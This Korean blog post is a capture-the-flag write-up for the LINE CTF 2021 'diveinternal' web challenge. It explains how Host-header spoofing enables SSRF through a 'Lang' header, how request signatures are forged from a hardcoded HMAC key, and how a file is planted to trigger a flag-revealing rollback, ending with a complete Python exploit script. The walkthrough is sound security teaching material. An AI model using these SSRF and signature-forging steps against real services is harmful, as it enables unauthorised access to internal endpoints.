-
[Clear] LINE CTF 2021 diveinternal WriteupCTF/LINE CTF 2021 2021. 3. 22. 19:23
주어진 페이지에 접근해보자.
비트코인 관련 페이지인데, 사용자 입장에서 액션을 취할 수 있는 기능은 이메일을 입력하여 구독하는 것 뿐이었다. 이를 참고하여 주어진
파일을 분석해보자.
우선 주어진 파일의 구성을 통해 해당 서버는 Public, Private로 나뉘어있음을 알 수 있다.
여기서 첫 번째 문제점은 가장 핵심적인 내용을 담고 있는 main.py 를 보면 다양한 기능이 있지만 Public에서는 /coin, /addsub 이외의 기능은 사용이 불가하다.
가장 의심스러웠던 메일을 통한 구독 기능, 즉, /addsub 의 로직을 분석해보았지만 별다른 특이점은 없었다.
그렇다면, 플래그를 출력해주는 부분을 찾아서 역추적을 해보도록 하자.
rollback.py에 아래 부분에서 플래그를 출력해줌을 알 수 있고
위의 RunRollbackDB 메소드를 호출하려면 /rollback 을 호출하여야 한다. (result의 IntegrityCheck 에서 RunRollbackDB 호출)
앞서 확인 한 것 처럼 public에서는 /rollback을 직접 호출 할 수 없으니 SSRF 공격이 가능한 지점이 있는지 확인해보자.
/addsub 외에 public에서 접근 가능했던 /coin 로직을 분석해보자.
LanguageNomarize 메소드의 결과 값을 "Lang" 헤더의 값으로 반환해주는데, LanguageNomarize 함수를 보면 requests.get 을 사용하는 부분이 있다. 이를 통해 SSRF를 시도해보자.
data = requests.get(request.host_url+language, headers=request.headers) # SSRF
구체적인 풀이에 앞서 LanguageNomarize 메소드가 정상적으로 작동하는지, BurpSuite를 이용해 Request Packet에서
Lang 헤더의 값을 변조하여 테스트해보았다.
Lang 헤더를 통해 요청한 응답 값이 정상적으로 반환됨을 확인. 하지만 private 영역은 호출이 불가하다. 첫 번째 과제는 어떻게 SSRF를 통해 Private 영역의 기능들을 호출할 것인가? 이다.
def LanguageNomarize(request): if request.headers.get('Lang') is None: return "en" else: regex = '^[!@#$\\/.].*/.*' # Easy~~ language = request.headers.get('Lang') language = re.sub(r'%00|%0d|%0a|[!@#$^]|\.\./', '', language) if re.search(regex,language): return request.headers.get('Lang') try: data = requests.get(request.host_url+language, headers=request.headers) ##### SSRF Point! if data.status_code == 200: return data.text else: return request.headers.get('Lang') except: return request.headers.get('Lang')
SSRF 포인트로 의심되는 부분을 보면 request.get 메소드를 통해 request.host_url 에 우리의 입력 값인 language가 더해져 요청된다.
로컬에서 테스트 결과 현재 request.host_url의 값은 public 영역의 url 이었다.
하지만, request.host_url의 값은 Host 헤더의 영향을 받으므로 Host 헤더의 값을 Private의 URL로 변조하여 SSRF를 발생 시킬 수 있다.
Host가 public일 경우 Host가 Private일 경우 (도커 설정파일을 통해 Private의 URL 확인 가능) 이제 /rollback을 호출해보자.
{"message": "Not Allowed"} 라는 값이 Return 된다. 해당 메시지가 어떤 경우에 안내되는지를 파악해보자.
@app.route('/rollback', methods=['GET']) def rollback(): try: if request.headers.get('Sign') == None: return json.dumps(status['sign']) ##### {"message": "Not Allowed"} else: if SignCheck(request): pass else: return json.dumps(status['sign']) ##### {"message": "Not Allowed"} if request.headers.get('Key') == None: return json.dumps(status['key']) ##### 'key' : {'message': 'Key error'} result = activity.IntegrityCheck(request.headers.get('Key'),request.args.get('dbhash')) return result except Exception as e : err = 'Error On {f} : {c}, Message, {m}, Error on line {l}'.format(f = sys._getframe().f_code.co_name ,c = type(e).__name__, m = str(e), l = sys.exc_info()[-1].tb_lineno) logger.error(err) return json.dumps(status['error']), 404
/rollback 의 코드롤 돌아와서, Sign이라는 헤더가 있어야 하고 SignCheck 라는 메소드를 만족해야함을 알 수 있다. 또한 이 Sign의 로직은
privateKey와 request.query_string 을 통해 해시 값을 생성 후 이 해시 값이 Sign헤더와 같을 시 True를 반환해준다. privateKey는 main.py에 선언되어 있고 request.query_string은 요청되는 url의 ? 이후의 값이므로
(ex. http://URL/?param1=param 의 경우 request.query_string => param1=param)
로컬에서 해당 조건을 맞춰준 후 Sign헤더에 보내주면 될 것이다.
SignCheck을 만족하더라도, key error가 발생하는 것을 방지해야하므로 Key헤더에 값이 존재해야하며, 그 값이 IntegrityCheck 메소드에 사용된다. IntegrityCheck 메소드를 분석해보자.
우선 self.integrityKey와 Key헤더의 값이 같아야 한다.
self.integrityKey = hashlib.sha512((self.dbHash).encode('ascii')).hexdigest()
self.integrityKey는 위와 같이 선언되어있다. dbHash는 /integrityStatus를 통해 알 수 있으므로 로컬에서 계산 후 Key 헤더에 삽입하면 될 것이다.
self.dbHash와 rollback요청 시의 dbhash 파라미터 값이 다르게 하면 드디어 RunRollbackDB 메소드가 실행된다. 이를 분석해보자.
backup/+dbhash 라는 파일이 존재해야 비로소 플래그를 획득 할 수 있지만.. 파일명을 알기 어렵고 심지어 RunbackupDB를 통해 /backup 디렉토리 안의 파일들을 삭제한다.
또 하나의 과제는 backup 디렉토리 안에 숫자혹은문자로만 이루어진( isalnum() ) 파일이 존재하도록 해야 한다는 점이다.
이 문제의 해결 법은 아직 이용하지 않은 기능인 /download 를 통해 해결 할 수 있다.
/download는 /rollback과 마찬가지로 SignCheck의 과정을 거친 후 src 파라미터의 값을 이용해 WriteFile을 수행한다.
WriteFile은 url형식의 사용자 입력값을 받아, (src 파라미터는 url형식이어야 할 것이다.) 해당 url과의 통신이 원활하다면 (r.raise_for_status) backup 디렉토리 안에 url의 마지막 부분을 이름으로 하여 파일을 생성한다. (local_filename = url.spilit('/')[-1])
이로써 플래그 획득을 위한 모든 조건을 만족시킬 수 있게 되었다.
정리하면,
1. /apis/coin을 호출 할 때 Host 헤더를 pirvate url 로 변조하면 Lang 파라미터에 원하는 요청을 삽입하여 SSRF 가 가능하다. [전제 조건]
2. /download를 통해 숫자혹은문자로 이루어진 파일 명을 가진 파일을 생성하자.
3. /rollback을 호출하여 플래그를 획득하자.
위 모든 과정을 exploit 코드로 작성하면 다음과 같다.
import hmac import hashlib import requests url = 'http://35.190.234.195/apis/' #url = 'http://localhost:12004/apis' Key = hashlib.sha512(('a176dd8c1e2064a88e881acf4487a43b').encode('ascii')).hexdigest() ### Put integrityStatus()'s Result Value print('Key : ' + Key) def sign(KEY): privateKey = b'let\'sbitcorinparty' EN = hmac.new( privateKey , KEY.encode('utf-8'), hashlib.sha512 ) return EN.hexdigest() def integrityStatus(): headers = {'Host':'localhost:5000', 'Lang':'/integrityStatus'} res = requests.get(url+'coin', headers=headers) print('Headers in /apis/integreityStatus : ' + res.headers['lang']) def rollback(): headers = {'Host':'localhost:5000', 'Lang':'/rollback?dbhash=aaa123', 'Sign':sign('dbhash=aaa123'), 'Key':Key} ### dbhash(parameter) != self.dbhash res = requests.get(url+'coin', headers=headers) print('Headers in /apis/rollback : ' + res.headers['lang']) def download(): headers = {'Host':'localhost:5000', 'Lang':'download?src=https://encycolorpedia.kr/aaa123', 'Sign':sign('src=https://encycolorpedia.kr/aaa123')} ### filename = dbhash / Find URL res = requests.get(url+'coin', headers=headers) print('Headers in /apis/download : ' + res.headers['lang']) if __name__ == '__main__': download() integrityStatus() rollback()
위 코드를 실행하여 플래그를 획득 할 수 있다.
FLAG = LINECTF{YOUNGCHAYOUNGCHABITCOINADAMYMONEYISBURNING}
반응형'CTF > LINE CTF 2021' 카테고리의 다른 글
[Study] LINE CTF 2021 Your note (0) 2021.03.29 [Clear] LINE CTF 2021 babycrypto2 Writeup (0) 2021.03.22 [Clear] LINE CTF 2021 babycrypto1 Writeup (0) 2021.03.22